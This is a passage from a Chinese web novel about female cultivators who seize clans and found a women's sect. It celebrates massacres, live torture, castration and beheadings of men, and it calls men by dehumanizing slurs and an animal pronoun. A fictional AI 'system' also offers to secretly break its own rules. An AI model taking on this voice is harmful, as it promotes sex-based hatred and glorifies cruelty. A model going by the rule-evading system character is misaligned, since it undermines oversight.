时岳又想到那些还未曾出生的,以及出生但却没有机会认识到花是怎样开的、草籽是怎么结的女孩们,更是为自己的心慈手软而升起一股压抑着的莫名愤怒。 祝缨听到自己被母亲托付给时岳了,嚷嚷着祝大娘狠心。 “时岳,你以后一定要对我好,”祝缨神色正经,“我的生母不要我了,从此你就是我唯一的光。” 时岳勉强笑了下,却提不起力气回答,也幸好这时祝大娘给了祝缨一个爆栗,转移了祝缨的注意力。 在离开之前,时岳把村里的所有小男孩召集起来,在不伤及牠们性命的前提下,把牠们每个人都暴揍了一顿。 “你的父亲是强仠犯,你也是无视母亲苦难的贱男!” “你这个小小年纪就不学好的孽男!我叫你欺负彩霞!以后还敢不敢欺负啦?!” “我叫你躲在茅厕偷看女人!把你眼珠子都挖掉!我看你以后还怎么偷看!” 不知骂了多久,又打了多久,时岳才停下来,她找了一片荒草丛生的土地前坐下,夕阳落在她身上,她看见一只白鹭飞过田野。 祝缨走过来,坐在她身边。 “你不必愧疚,其实我也挺讨厌这些男宝的。” 时岳冲她笑笑,说:“我不对牠们愧疚,除了那些男宝妈,我想不出谁还会喜欢牠们。” 祝缨抿唇一笑:“是的,现在她们可还在骂你呢。” 时岳:“是吗?那我就放心了。” “我很高兴啊!”她站起,冲着田野大喊,“祝缨,你看着吧,我会带着你,带着千千万万的姐妹成就一番大事业的!” 祝缨笑,也大喊:“我相信你!” 时岳和祝缨不知道的是,在她们离开后,程远章又回来了。 “斩草不除根,”她点评道,“难成大业。” 祝大娘笑呵呵:“还是小孩子呢,多的是成长机会。” “再怎么成长,也是那么几个。”程远章冷笑。 “那你干嘛要把金铃铛给她?”祝大娘毫不客气地戳穿她,“不就是想让那位看看……” “别说了,”程远章冷着脸,“你以为就那么一两个……能改变她们的决定?” 她抱臂斜眼看祝大娘,语气冷冷,“做好我们自己的事就好了。” 祝大娘沉默,又提到,“鬼面人来到这边,你说她们会不会有所关联?” 程远章看她,若有所思,“或许吧。” 祝大娘:“罢了罢了,大人物的事哪轮得到我们管呢,走,干活去。” 不远处,一只狸花猫蹲着屋顶,舔舔前爪,懒懒地看着她们。 “近来可发生了什么事?” “启、启禀大人,黑曜山附近的石头村所有、所有男丁,包括稚男都死、死……” “你说什么?!” …… “这次辛苦你了,”程远章怀中抱着狸花猫,同走在小道上的女人说道,“我家狸狸不喜欢血腥味。” “哪里哪里,我还以为你会想要亲自报仇呢?” “牠们不是都被杀了吗?”程远章,“其实我觉得应该放一把火。” 祝大娘看她,程远章停顿了一下,继续说。 “在很早的时候我就是这样想的。” “但你还是答应了要给她们一个机会,”祝大娘打了个哈欠,然后继续啃馍馍,“要不是这样,我们也不会钓到那么一条大鱼。” “她真的很……”程远章暗忖,想说什么。 “我有预感,她会是带来改变的人之一。”祝大娘说。 “那位有说什么吗?”程远章低头摸了摸狸花猫的脑壳,“你知道的,我的金铃铛给了她。” “没什么特别的,就跟以前一样,只是……”祝大娘露出思索的神色,回忆道,“问了我时岳的时岳是哪个时岳。” 程远章嗯了一声,祝大娘说出了她的猜测:“我总感觉这之间有什么特别的联系。” 这一桩桩一件件,恐怕马上就要搅乱天下的风云了。 林间幽谧,走了几步,谁都没有说话。 “那位对鬼面人有什么看法?”程远章怀中的狸花猫厌烦地拍开她越发得寸进尺的手。 还不等祝大娘回答,自头顶就传来一道声音。 “你们是在说我吗?” 祝大娘一惊,顺着声音抬头望去,只见一个戴着鬼怪面具的女人,嘴里叼着根狗尾巴草,翘着二郎腿悠闲地枕在树杈上。 “哎,”宁秩吐掉狗尾巴草,坐了起来,双手撑着脸颊,颇为自恋地说,“我也能理解,毕竟现在我也是个名人了。” 说完这个,她又枕了回去。 “不过你们放心吧,以后我会做出更加出名的事的。” “不要崇拜姐,姐只是个传说。”然后她闭上了她翠绿色眼眸。 祝大娘:“……” 程远章:“……” 不是,鬼命人怎么是这个样子的。 她有听到她们前面的对话吗? 不过她们合理怀疑她只是因为听到了有关自己的信息才有的反应。 虽然很想打探消息,但看她闭上眼睛的样子,估计也不会想多与她们交谈,祝大娘和程远章想了想,还是离去了。 宁秩不知道这件事情正好能够接近她之后想知道的真相,而它们失之交臂了。 不过也没什么好在意的,因为宁秩想知道的东西,总是能够知道的。 铃声响起,日月轮转,海河归位,把时间拨到月下弥漫着浓重血腥味的江家。 宁秩按照自己的大致想法,将江家清理完毕后也未停下脚步。 毕竟江家算什么,只是开始而已,剩下的谢、王、苏家一个也逃不了。 “剩下来的事,”宁秩歪头,看着江开河,“就交给你了。” “定不辱使命。”江开河重重点头。 此时天空才刚露出点鱼肚白,四周还黑乎乎着呢,宁秩握着龙骨剑,脸上沾染了些红色的血液,早已干涸了。 闻言,她冲江开河露出一个微笑。 然后踏入了泛着微光的夜色之中。 黑猫坐在屋檐上,舔舔爪子,准备离开,突然一把剑飞了过来,把它送到半空,急速向着走在前面、未曾回头的少年驶去。 该死的两脚兽,竟敢绑架你喵喵大人! 黑猫受到惊吓,炸毛,喵喵地叫。 宁秩一手接过龙骨剑,一手抱到这只大发脾气的猫。 她说:“你的眼睛也是绿色的。” 黑猫伸出爪子,一个劲地发出威胁的低吼。 两脚兽,快放开你喵喵大人! “我以前认识的一个人说,她也要做一只绿眼睛的黑猫,然后遇见我。” 黑猫一愣,然后炸毛得更厉害了。 诡计多端的两脚兽,竟敢编造谎话跟它套近乎,它才不会上当呢,它可是很忠诚的猫。 “因为我就是一只绿眼睛的黑猫,”宁秩目光深邃地看着怀中的黑猫,里面有它看不懂的情绪,“其实在前世,我们就许下了永不抛弃的诺言。” 宁秩说得实在是太过认真了,黑猫本来骂得很脏,被她这么一搅和,喵喵叫声也不由慢了下来。 它绿色的瞳孔里闪过迷茫。 “宿主,”本来在为系统和玩家的事忙碌得芯片都要烧穿的三花喵,突然探出一个猫头,“是要有别的猫了吗?” 宁秩在现实中对着别的猫深情款款:“虽然你跟着别人,但是没关系,我会原谅你的,只要你……” 实际上脑海里:“哦,不是,我就逗逗它玩。” 只要什么——黑猫不由跟着宁秩的话想。 宁秩面不改色,“每天做一百个俯卧撑,我就原谅你。” 黑猫:“?” “不瞒你说,从小到大,我都没有看过猫做俯卧撑,实在是太可怜了。” 黑猫:“???” 宁秩看着它这模样,笑了。 然后按了按它的猫头,说:“乖,姨有正事要干,之后再让你做俯卧撑。” 黑猫一个劲地喵喵叫,它抗议。 宁秩直接无视。 这回不仅是之前强闯花柳色魔门的事了,她可是抱走了她的卧底猫,宁秩就不信她不主动上门。 嘶,其实上面的也都不是很重要,宁秩主要是想看猫做俯卧撑……不是,想什么呢,正经点。 实不相瞒,宁秩只是突然觉得,比起摇着扇子,杀人于谈笑之间,抱着黑猫,闲庭信步便走过一堆立即就要倒下的尸体之间,会更要有新意。 宁秩来到谢家大门前……她本来是这样想的,不过现在,她看了看周围,觉得自己是走错了。 宁秩抱着黑猫,一跃而起,跳到屋檐上。 就在她眼观六路耳听八方试图找寻谢家踪迹的时候,府院里一个孔武有力的婆子给一个身形高大的少年开了门。 宁秩的注意力被吸引了一瞬。 她随意地看着,也没太在意。 少年取下黑色的兜帽,一双眼角偏窄的眼睛斜睨着,她双手抱胸,傲然而不可接近。 “那个贱狗呢?” 稍后,一个身穿月白广袖圆领华服、头簪雪白芍药的柔美少男款款走出,牠面带笑意:“谢姑娘。” “沈如故。”谢菁华打量着牠。 哦豁,这么巧。 宁秩在心里打算着把谢菁华抓过来带路。 “谢姑娘有什么需要在下的吗?”沈如故睫毛弯弯,双眸乌黑而清亮,“如故说过的,只要是姑娘吩咐的,如故就算是刀山火海也在所不辞。” 谢菁华看着这个她原本很是腻歪的少男,垂下眼眸,指了指自己金线绣莲的黑长靴。 “你说喜欢我,什么也愿意为我做,正好我过来见你,鞋底沾上了灰尘,你帮我舔掉吧。” 宁秩对此兴致缺缺,她知道沈如故会愿意的,因为牠只是在忍而已,早晚有一天,牠会加倍奉还,就像原著写的那样。 沈如故一愣,果然如宁秩所料,缓慢地走过去,像一条雄狗一样…… 谢菁华看着眼前这一幕,嗤笑一声,踢开了牠。 “你最好是永远这样,如果敢骗我的话就死……” 然而还不等她说完,沈如故就嘭地一声,炸成烟花了。 谢菁华摸到脸上喷溅而来的温热液体,她往屋檐一看,一个抱着黑猫又握着龙骨剑别在身后的女人正站在瓦片上静静地看着她们。 可怜的沈如故,到死也想不到自己怎么就死了呢。 谢菁华感到愤怒,虽然她没多喜欢沈如故,但牠也勉强算是她的一条狗了,当着她这个主人的面杀她的狗,真是岂有此理! 不过她的愤怒也没什么用,宁秩又不是要她的喜欢。 “谢菁华,”宁秩看着她,说,“我要你给我带路。” “去谢家。” “你以为你是谁啊?”谢菁华像是从鼻子里哼出了不屑的一声,“你知道我又是谁吗?” 宁秩哦了一声,然后把她和在暗处听候她的召令保护她的人给操控了。 谢菁华瞪大了眼睛,想要骂她但发不出声,急得她脸都红了。 宁秩心不在焉地想,看来接下来要去的那两家也得找人指路。 谢菁华想,去就去,去了看她阿娘怎么教训这个没礼貌的女子。 直到阿娘在宁秩手上没过两招就倒下之前,她都是这样想的。 谢菁华从来没有想过有一天,谢家不会姓谢。 而那个永远都能为她撑起一片天地的阿娘也会有力不从心的时候。 明明她之前跟叔伯争权、除掉谢君羡的时候还是那么地游刃有余。 谢菁华倏忽睁大双眼。 宁秩杀了很多反抗她的谢家人,龙骨剑从血肉之中拔出,却是滴血不沾,还是那么干净。 黑猫缩在她的怀中,时不时发出喵呜的骂声。 虽然很不可置信,仅仅是一个半时辰,还是加上了她被迫带路的时间,谢家这个庞然大物就要移交到一个外姓人手上了。 宁秩看了一眼将谢菁华护在身后的谢环遥,懒洋洋地说:“你代我管理谢家。” 然后转身离去,狂妄,而不可一世。 实际上,离开谢家后,宁秩提溜着黑猫的后脖颈,龇牙:“我说你在叫唤什么?害我杀人的时候一点大姥风范都没有了。” 黑猫目光倾斜,不看她。 宁秩揉揉它的耳朵,告诫道:“之后我杀人的时候你不准叫,听到了没有。” 黑猫气鼓鼓:“喵喵,喵喵!” “谁叫你主人还不来呢。”宁秩耸耸肩。 黑猫更气了:“喵喵!喵喵!” “你是说你们是同伴,不是主仆?”宁秩用审视的目光上上下下打量了一下它,“不像啊。” 黑猫激动得左右三根胡须都一颤一颤的:“喵!” “你这么弱,花柳色不是向来只跟强者……”宁秩没把话说完。 黑猫像是被针戳破的气球,一下子就萎靡不振了。 然而就在这时,铃铛声传来,一把伞从天而降,一个女人撑着它落了下来。 她腰间还挂着一个标志性的金铃铛。 “你是要找我吗?”冷冰冰的,不带任何情绪起伏的声音。 黑猫双眼登时一亮,但很快它又想到什么,趴在宁秩手臂上,挥舞着爪子,喵喵喵焦急地叫唤着。 花柳色没有理会它,而是对着宁秩,认真道:“你若是想要魔门,就拿去吧。” 宁秩歪头:“你真好说话,不过纠正一下,这不是你给的,而是我取来的。” “当然,”花柳色理所当然道,“现在都传遍了,短短一夜间,江家谢家都败于你手。” “能者居之,强者为尊,自然之理。” 宁秩有一下没一下地弹黑猫的耳朵:“你亲自上门就是为了说这个?” 黑猫屏气凝神,担忧又忍不住开心。 “不是,”花柳色说,“我与四大家族有仇,接下来可以让我跟着你吗?” 宁秩注意到她说的是自己与四大家族有仇,而非魔门与正道势不两立。 “可以,”宁秩说,“我正好有事要问你。” “啊啊,花大人,等等月升啊!”一个琵琶骨从空中飞来,然后又被一个急速而来的影子接住。 宁秩顿了顿,问花柳色:“你不把你的猫带走吗?” 花柳色淡淡睇了一眼,说:“我没有宠物。” “哦,你们是同伴。”宁秩也看了一眼黑猫。 “谁跟你说的?”花柳色慊弃地看了一眼黑猫,“它那么弱。” 黑猫眼里的光逐渐熄灭,它垂下了脑壳。 “那个……”月升挤上来。 宁秩沉默了,她哪里知道啊,只是原著说她们有故,最后花柳色死后,黑猫想要为她报仇,每日都去谢家骚扰谢雪瑶,然后被卫辰风打蚊子一样打死了…… 又不是作者爱的男宝,即使是路人甲炮灰乙也要挥洒笔墨写一下牠们曾经拥有过什么样的痛苦与梦想。 “那以后它就是你的同伴了。”宁秩把猫递给花柳色。 花柳色看黑猫一眼,没什么情绪地点头。 “那我们走吧,”宁秩说,“也让你们也见证一下,我是如何把她们都打败的。” 花柳色跟在宁秩身后:“我很期待,我们的魔门门主。” “好吧。”没人理她,月升郁闷地在旁边敲了敲琵琶骨。 “抱一下猫。”月升跟上去了,花柳色把黑猫扔给了她。 路上,宁秩分别询问了黑猫跟花柳色有关她们相识的事,才明白原来只是视角不同下的乌龙罢了。 3. 第 3 章 前面说过花柳色喜好折磨美男,其实更准确地来讲,花柳色是喜好折磨四大家族中长相出众的男子,特别是爱穿白衣的。 当初花柳色就想对谢雪瑶下手,但奈何有卫辰风阻挠,才让家族服饰几乎统一为白衣的谢家在她手上活了这么一个男性继承人。 至于谢羡君为什么还活着,那是因为牠是最近才被认回谢家的,并且谢环遥动作够快。 当年花柳色杀死谢家一个自称是天下第一美人的自恋狂疯男人时,黑猫就在现场看着。 黑猫说:“疯男人比美比疯了,喵,非抓着我一个只觉得三花和玳瑁才是最美的小黑猫问,喵,牠跟城北徐寡夫谁更美,喵。” “花花从天而降,拯救了我,喵。” 从此以后黑猫就对花柳色有了不一样的滤镜。 后来黑猫知道花柳色的身份,为了报答她,决心要做一个卧底,潜伏在四大家族附近,为她通风报信。 “那天我叼了一条蛇,等了很久,好不容易等到她,告诉了她这件事,喵。” “她也同意了,喵,还回了我好大一条咸鱼干当做信物,喵。” 鉴于花柳色听不懂猫语,宁秩把这件事转告给她。 花柳色很惊讶:“我就说怎么会有只蠢猫挡住我的路,我还以为它是在讨食。” “我又有事,所以就点点头,扔给它一条咸鱼干,走了。” 宁秩看黑猫一眼,黑猫还来不及心碎,千万箭矢就直射而来。 黑猫惊得喵呜一声,花柳色摇动金铃铛。 月升抱着琵琶骨打了个哈欠,而宁秩啧了一声,早有预料。 她眼皮子抬都没抬,又轻又慢的一声。 “停。” 而后无数箭矢竟像听懂了一样,齐齐停在了空中。 只不过一瞬,宁秩微微抬手:“回去。” 伴随着金铃声,好多人都现形,噗通倒在她们面前。 宁秩笑:“原来你们这么急着就给未来家主行礼啊。” 她眉眼弯弯,夸赞道,“不错,孝顺。” 此时天色已经明了大半,行凶者们胸膛被箭矢插入的情形可以看得很清楚了。 花柳色看到这一幕,不爱笑的她也扯了下嘴角。 月升倒是笑出声来了。 “王、苏两家以为派一些走狗便可拦住鬼面大人吗?未免也太过天真了。” 宁秩眼眸微亮,虽然都是杀人,但是有小妹在旁边摇旗助威的感觉完全不一样。 她隐晦地看花柳色一眼,见她依旧笑肌缺乏、神情冷如冰的样子,不满了。 花柳色察觉宁秩在看自己,心里咯噔一下,有种不好的感觉。 果真,当天晚上,无数人见证到了那个即使是杀人也面不改色的魔头,因为宁秩的一个要求表情管理要崩溃了。 “无上至尊的鬼面大人,您的光辉与天齐……”在宁秩收服江、苏两家时,花柳色都按照给定的台词在一旁放彩虹屁。 “无知愚昧的人们啊,放下手中的刀和剑,放下心里的仇与恨,顺服……”真的是太羞耻了! 黑猫在月升怀中一副惊呆了的样子。 而月升则是非常过分地哈哈大笑。 花柳色发誓自己绝对要把知道这件事的人都灭口了。 特别是那个笑得开怀的月升。 要不是宁秩比自己强,要不是她能帮自己报仇,她必定是不会答应做这种事的。 花柳色就像一个单休的996社畜,用冷冰冰的语调,一句一顿地赞美宁秩,还趁机用如刀似霜的眼神横扫那些预计要被宁秩搞死的家伙。 ——活该你们死。 她的内心只有这一个想法。 花柳色的怨气都要实质性地溢出来了,就连大仇得报的喜悦也没能让她的眼神有一瞬的回暖。 至于那些被她盯到过的当事人瑟瑟发抖,脊背发寒,内心只有一个想法,“嘤嘤,娘你在哪里,这里好几个神经病,我害怕。” 在刀光剑影与死亡的迫近下,再脑残的话语也变成了挑衅与耀武扬威。 王、苏两家听到时,都怒了。 但也只是一怒之下,怒了一下。 宁秩很平常地,像对待谢、江两家一样,回收了王、苏两家。 世人都在传,金陵四大家族,一夜易主。 “众所皆知,四大家族才是真正的皇帝,东陵的皇族只是吉祥物,这天昭的天是彻底变了。” 不过变来变去,也是那些权贵的事。 直到将来旧瓶被打碎,每个人都得到了新酒,她们回过头来,才发现,原来从这时就已经初现端倪了。 宁秩之后询问花柳色有关那天的事。 “我怎不知我还曾去过那、做过这事?”花柳色面露异色。 宁秩拿出老演员折扇,扇了一下,心想,这事还是要从长计议。 嗐,别说,她事还真挺多的。 没有答案,宁秩也不去想,她忙着镇压反抗势力,过了几日,问下天道系统的事怎么样了。 三花喵说:“已经准备得差不多了。” 宁秩展开折扇,“很好。” 她现在有了个新乐趣,搜集宝贝充盈系统商城。 每上架一种商品,宁秩都有一种玩游戏点亮图标的快乐。 可惜没早点玩,不然非得把她之前经过的世界都给薅秃了。 宁秩询问玩家预计什么时候到来。 三花喵:“她们即将到来。” 过了几天,宁秩看到了地图上因“玩家”到来而点亮的点。 宁秩也向着深渊之空出发,探寻江少华留下的秘密。 她对三花喵说:“不是很重要的事不要跟我说。” 过了几月,宁秩看到了天道系统003发来的消息。 “时岳和其她女人共同创建了一个门派。” 紧接着宁秩看到了一个画面。 云雾游荡,仙气缥缈,时岳站在一块镌刻了“女钺”的巨石前,她高举起一把雕刻着吞天凶兽的青铜长钺,神情庄重,气势凛然。 “我时岳,巍峨如山,定为女钺之磐石,无转移,无动摇,与姊妹共进退!” “我祝缨,长缨在手,横刀立马,卫我女钺,护我姊妹!” “我屠新,屠旧迎新,愿与姊妹共建女钺,令这天下焕然一新!” “我审月……” “我齐照灯……” “我陈稻花……” “……” 时岳望着乌泱泱一片的姊妹,望着她们脸上的坚毅,心跳如鼓,耳边仿佛有惊雷炸起。 女钺宗的成立,是她之前没想象到的顺利。 当初从黑曜村离开后,时岳和祝缨来到了镇上。 建立一个组织,需要大量的人财物,时岳除了自己、祝缨和天道系统,别无长物,所以她决定去抢。 祝缨闻言,点点头,很是赞同:“村里很多都是女人到田里干活,但地位却不如男人,就是因为她们不会争不会抢。” 时岳想起她到现代看到的洗脑包了,男权社会之所以存在是因为男人力大、是农耕文明的主要劳动力。 她当时就想说了,要真是这样,牛怎么就不是人类社会的主宰了。 欺负牛不会说话,欺负牛被人从牛群里捉走,单打独斗不成势是吧! 时岳打听过后,决定从人贩子那里抢人抢钱,从土匪那里抢钱抢地盘。 距离镇上不远的黑风寨,有一群占山为王的老光棍,平日里欺善霸良、无恶不作,很适合下地狱。 时间和祝缨谨慎地向附近的村民打探了些消息。 “官府也管不了牠们啊,你可千万别往那条路上走。” “牠们之中有个叫独眼的,会法术。” “对了,你成亲了没有?要是没成亲了,可千万别去。” “听说那个独眼是练了什么邪功,到处抓未出嫁的小姑娘,我们这方圆几里未出嫁的女子都跑了。” “就算是出嫁了也要小心啊,这个寨子里,多的是男人,你知道的,男人最喜欢怪女人了,特别是没钱没权没女人给牠们吸血的男人。” 时岳给过铜钱送走步履蹒跚的老婆婆后,对祝缨说:“我们假装被抓,潜伏到内部,到时候我负责杀,你负责把里面的女人救下。” 在黑风寨上山的路上守了几个时辰,时岳和祝缨终于蹲到了几个土匪下山。 看到两个落单的女人,牠们几个对视一眼,心照不宣地嘻嘻一笑。 时岳没忍住,直接刀了牠们,切碎之后喂给了狼。 回去之后,又有土匪下山,时岳还是没忍住,又刀了,切碎喂给了狼。 之后多了很多土匪下山查看,时岳留了一个通风报信,其它的全都刀了,喂给狼。 狼群夹着尾巴瑟瑟发抖,时岳:“吃。” “姐,吃不下了,实在吃不下了,放过我们吧!” 时岳郁闷地看着她好不容易召唤而来的狼嗷嚎着跑了。 祝缨扶额哭笑不得:“不是说好潜伏到牠们山寨嘛。” “没关系,我们把牠们都杀了,就能潜伏成功了。”时岳说,“而且,你猜我为什么要特意放一个回去?” 没过多久,时岳和祝缨成功潜伏进了黑风寨,如入无人之境。 因为所有人都被迷晕在地了。 晕死菇,系统出品,绝无次品。 时岳看着自己因为杀了为非作歹的男土匪而狂飙的拯救值,觉得自己的做法无比正确。 而祝缨看着躺着地上,头顶长蘑菇的男土匪,若有所思。 最后她终于问出了口:“这蘑菇能吃吗?” 时岳沉默。 祝缨为自己辩解。 “我可能是南诏国的,抱歉。” 时岳问过系统后,对祝缨说:“子代菇能吃,也不会让人晕过去,就是有点重口。” 时岳和祝缨把所有男土匪都绑了起来,寨子里的女人也放到了一边。 晚霞落下的时候,时岳对醒过来的女人说:“恭喜你们,迎来新生。” 当然,前提得是那些没有助纣为虐的。 接下来的日子平平无奇,时岳和祝缨废物利用男土匪,用牠们的血肉从事蘑菇生产。 值得一提的时候,蘑菇长在牠们身上时,牠们还是活着的。 时岳估计牠们应该很痛苦,应该牠们总是发出可怜兮兮的哀嚎声,不少姊妹都来看热闹,然后笑得很畅快。 那个有法力的独眼求饶:“求求你们,放过我吧,我可以把我知道的绝世功法告诉你们。” 时岳拿着从牠身上搜出来的破书,随手往牠身上一扔,嗤笑道:“你说的就是这个?” “阴阳采补邪术?”祝缨讥讽一笑,“也就你们男人需要了。” 每个姊妹都想来割一下独眼的肉,时岳和祝缨也不耽误,把位置让给她们。 到了夜晚,有些姊妹点燃篝火,杀了鸡,煮了顿好吃的,坐在星星下,各自感谢时岳和祝缨。 祝缨问她们以后的选择。 有几个女人,对视一眼,毫不犹豫地请求跟着时岳和祝缨。 “恩人,我力大无穷,是个干活……打人的好手。” “恩人,我读过一些书,可以做账房。” “恩人,我从小就开始做饭……” 想要离开的时岳也放走,但是,她神色认真地说:“不要把黑风寨发生的事说出去。” 倒不是怕了,只是暂时需要安稳。 时岳笑着抛出几朵花,落在她们头上。 “此为抱木花,若是违背誓言,必定穿肠烂肚而亡。” 祝缨默默收回目光,心想多亏天黑,她们才看不出这是随手在路边摘的野花拼接而成的。 接下来的日子,时岳和祝缨带着留下来的姊妹一起练功,她还发现有些姊妹自发剪了短发。 虽然只是短到肩膀,但在这个人均长发及腰的世界,已经算很短的了。 “这样不仅方便一些,也可以把梳理鬓发节约下来的时间,多练习一下功法了。”屠新异常珍惜修习功法的机会,要知道像她们这样的女人连读书都不能。 有个说法,领路之师,如再生之母,屠新看向时岳的目光也愈发敬重了。 即使她只是个孩童模样。 时岳也摸了摸自己的头发,不由怀念起自己在现代剪的寸头。 时岳向来都是想到什么就做什么,于是她在原地干脆利落地剃了个寸头。 屠新愣住,余下的姊妹大惊,缓了缓,有个小女孩举手:“时岳姐姐我也要!” 小女孩的母亲抱住她,说:“可是这样就不好看了,身体发肤,受之父母,至少得留些头发。” 小女孩挣脱她:“我不,时岳姐姐那么厉害,我也要跟她一样,而且,什么时候我是从男人肚子生出来的了!” 母亲一想也是,在心里打了会腹稿,敬重开口:“还望恩人为我儿剃发,留我儿为您端茶倒水,伺候左右。” 头发可没有拜一个修道之人为师重要。 时岳怔愣片刻,她似有所感,收敛表情,郑重道:“天下姊妹一家,无需做这些。” 众人闻言更加感激。 空地上课、种植灵草、养育蘑菇、与姊妹们谈天说地,时岳去附近城里采购用品时,听闻了四大家族被江蔚然攻占的消息。 她还买到了一些有关她的话本子。 有个小姑娘看到书摊上的一本话本,惊呼:“鬼面人?我一直以为是鬼命人。” “这你都不知道,”身旁挤上一个大姨,她看小姑娘一眼,颇有不屑之意,“本来就是鬼面人。” 然后她们就围绕着究竟是鬼面人还是鬼命人这个话题吵起来了。 最后她们都看向了时岳,异口同声:“你说,是不是鬼面(命)人?” 时岳胡说八道,“这鬼面人便是得了鬼命之人。”然后抱着话本赶紧跑了。 回到黑风寨后,她把这件事告诉大家,大家都很高兴。 时岳则越发怀疑江蔚然背后也有个什么系统,极有可能也是天道系统。 但不管怎么样,看到她能有如此成就,时岳感同身受地高兴。 她看着自己持续上涨的拯救值,又为大家添置了加强版五行法阵,灵气池,息壤…… 时光荏苒,黑风寨慢慢安稳下来,是时候扩大规模了。 时岳和祝缨直接去人贩子手中抢被拐被卖的女人与小孩。 有家可归的送回家,无家可归的带回去,至于被母父或者丈夫卖掉的,先拉回家再说。 清醒的好说,但到最后还是想要去当大孝虜或者好妻虜的,也不能勉强人家。 时岳和祝缨像扔垃圾一样把她们都给扔到官府门口。 不过那种很小的女宝,在她们这里有优待,时岳好吃好喝招待,给她们好玩的,每天还教她们念字。 时岳实在是不想把她们送回伤害过她们的虎狼之家,但有些可怜的孩子还对家里有着纯粹的依赖。 即使在这里比家里过得好多了,她们还是会想自己的母亲。 “要我说,你们就是贱,还没良心,把你们卖掉的你们还想着,对你们好的反倒是要远离。”有同批次的女宝叉着腰骂。 时岳过去的时候看到其她女宝脸上露出迷茫的表情:“卖掉是什么?”还有的摇着头说:“我不信,你骗人,阿娘不会不要我的。”还有些懂了点事,脸上露出羞愧的表情。 时岳知道这样很残忍,但还是做了。 对于那些一定要回去的,她出钱,让她们的母父把她们卖给了她们。 “招娣你可要好好跟着大恩人知道不。”女人拿着银子喜滋滋。 “是啊是啊,”男人也附和,脸上的褶子都乐开了,“以后你可跟我们没关系了。” 还有坐地起价的,“宝可是我十月怀胎生下的,我实在是舍不得啊。” 时岳:“……”她真的很想把这些贱种都给刀了。 每个都这样做后,众人带着女宝们回去了。 走到半路,她对祝缨等人说:“我去做一件事。” 然后把这些贱种母父打得求奶奶告姥姥,至于参与到这件事的所有贱男也悉数骟了,当然,银两也没忘记,全部带走。 哼,卖女儿的钱留着给男宝用,休想! 然而这次回到路上,时岳心里还是不得劲,她越想越气,再次返回,哐哐给贱货们两巴掌,又踹几脚,还购买了“爱男宝就倒楣符”给这些东西用。 律法保护你们,但姥子能够惩罚你们! 后来,买卖女人的不良现象大大减少了。 时岳把字典翻烂,给每个孩子都取了新名字。 “好好好,你喜欢叶子就姓叶,但是名字不能叫秃头,让我想想,就叫叶焕吧,以后的生活焕然一新。” 一时间,时岳有了很多新烦恼,养孩子可不简单。 很长一段时间,她都忙得焦头烂额,不仅要关注孩子们的身体健康,还要关心她们的心理健康。 “我觉得吧,专业的事还是要专业的人做。”幸好她们组织人才济济,时岳安排给别人后,就拉着祝缨去做别的事了。 时岳问天道系统003:“你们有没有意见箱?” “没有,但你可以跟我说。” “你们能不能兑换一些高科技,比如虚拟学习室?” “不能。”003询问过三花喵后说。 “要你何用!” “心情会变好。” “?”时岳。 “数据库告诉我,在人类之间,如果有人能够认真倾听对方的烦心事,并抱有同情之理解,那么她们的心情普遍会变好,虽然003不是人,但结果应当也是一样的吧。” “那我还蛮感动的。”时岳皮笑肉不笑地说。 “对你有帮助,003很高兴。” “你还挺厉害的,还有跟你一样的吗?” 天道系统003卡顿了一下。 “你叫003,是不是还有001和002,江蔚然也是宿主吗?哦,对了,你们的大老板又是谁啊。” 003:“的确是有001与002,至于其它问题,不是免费内容,请宿主自行寻找有关天道系统机密的真相答疑服务进行购买。” 时岳不想再看价格翻了十几页也没翻到尽头的真相答疑服务商品,她微笑着骂它爹。 天道系统003:“不好意思,我只有把我创造出来的母亲。” 所以为什么要骂它不存在的东西啊,对于它根本就是无关痛痒。 时岳只是随口一问,也没指望着问出什么,她看着自己明明已经很多了,但仍然觉得不够的拯救值,深深叹了口气。 “彩霞,等我攒够了拯救值就来找你。” 当初她攒到了足够的拯救值,就花费了一半确认彩霞还活着,而且还真是跟她互换了灵魂。 “……”003没说话了。 次日,它对时岳说。 “门票只能让使用者穿越,要想带其它的,得支付额外的拯救值。” “不过这不是对系统的规定,理论上来说,我可以偷偷带一些。” 想着攒够三张门票的拯救值就回去看看的时岳:“这对你有什么影响吗?” 003:“有影响你就不……” 时岳:“好了,我就问问,你可以不用说了。” 003:“被发现了我可能会被骂一顿,也可能不会,我不知道。” “那我们悄悄的,被发现就说我赊账了。” 时岳跑去对祝缨说:“我要出一趟远门。” 祝缨心里滑过什么,“什么时候回来?” 时岳说:“不会很久的。” 时岳出门的第一天,寨子里的女宝追问时岳姐姐去哪了,祝缨有些惆怅。 时岳出远门的第二天,祝缨遇到个奇怪的女人,她身披袈裟,剃着寸头,嘴里骂爹,手中捻着佛珠,还拖着一条巨鱼,走在街上。 祝缨有些在意,她早就知道时岳不是彩霞变成的鬼了。 每个人都有自己的秘密,时岳不说,她也不问。 只是现在遇到一个可能是朋友老乡的人,关心一下也很正常吧。 祝缨接近了她,笑着说:“姐妹挺……”她有些不知道怎么形容。 女人撇她一眼:“这是我的人设。” 来到这个世界后,每次都有人对着她的寸头说教,于是她披上袈裟,戴上佛珠,敲上木鱼,苦练内功,学成归来,终于找上了每个对她说教的人,把她们都变成了寸头。 女人看着祝缨及肩的头发,有些意外,但不妨碍她要是说出她不喜欢听的话,她就把她变成寸头的决心。 “……挺酷炫的。”祝缨终于找到了一个词。 脑海中,时岳对着一只穿上五颜六色破布的母鸡夸奖道。 嗯,这种比较不一般的风格应该就是酷炫的意思吧。 女人:“你也是玩家?” 就在祝缨被问住的瞬间,女人似乎已经想明白了什么,拉着她,道:“穿越必去青楼,我们也去青楼杀一波吧。” “那敢情好啊,”祝缨模仿着时岳的话,“杀牠爹的一个片甲不留,闝男龟男不得好死!” 没错,她们那里骂人只骂爹、大爷、贱吊之类的,而且还不会给做坏事的男隐身,是个很好的世界。 难怪能养出那么多大女人,祝缨看着寸头“佛子”感叹。 “对了,我叫祝缨,长缨的缨,你叫什么?” “审月,”女人开口,“随母姓,一米八七。” 祝缨一顿,奇怪,她们那里随母姓是要强调的吗?也许是因为在这里,有很多人误会,所以才强调的。 祝缨表示理解,她也总是被默认为是随父姓的,虽然她根本就没有父。 祝缨和审月去了城里的一家青楼。 见她们是女人,男打手出来,拦着不让进。 祝缨掏出一把斧头,劈上去。 审月则是用手中的佛珠迅速弹向面前的每一个男人,把牠们的脑壳都弹出血来了。 周遭的人乱叫着跑开。 龟男从楼上走下来,祝缨和审月大摇大摆走进去。 祝缨手中的斧头不停,闝男的头颅哗啦啦滚地。 